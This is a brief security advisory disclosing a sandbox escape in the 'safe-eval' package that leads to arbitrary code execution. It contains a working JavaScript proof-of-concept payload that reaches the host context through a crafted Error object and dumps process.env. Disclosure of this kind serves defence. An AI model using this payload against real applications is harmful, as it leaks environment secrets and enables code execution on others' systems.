Sandbox Breakout / Arbitrary Code Execution in safe-eval
Details
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload ```js (function (){ var ex = new Error ex.__proto__ = null ex.stack = { match: x => { return x.constructor.constructor("throw process.env")() } } return ex })() ```
prints the contents of `process.env`.
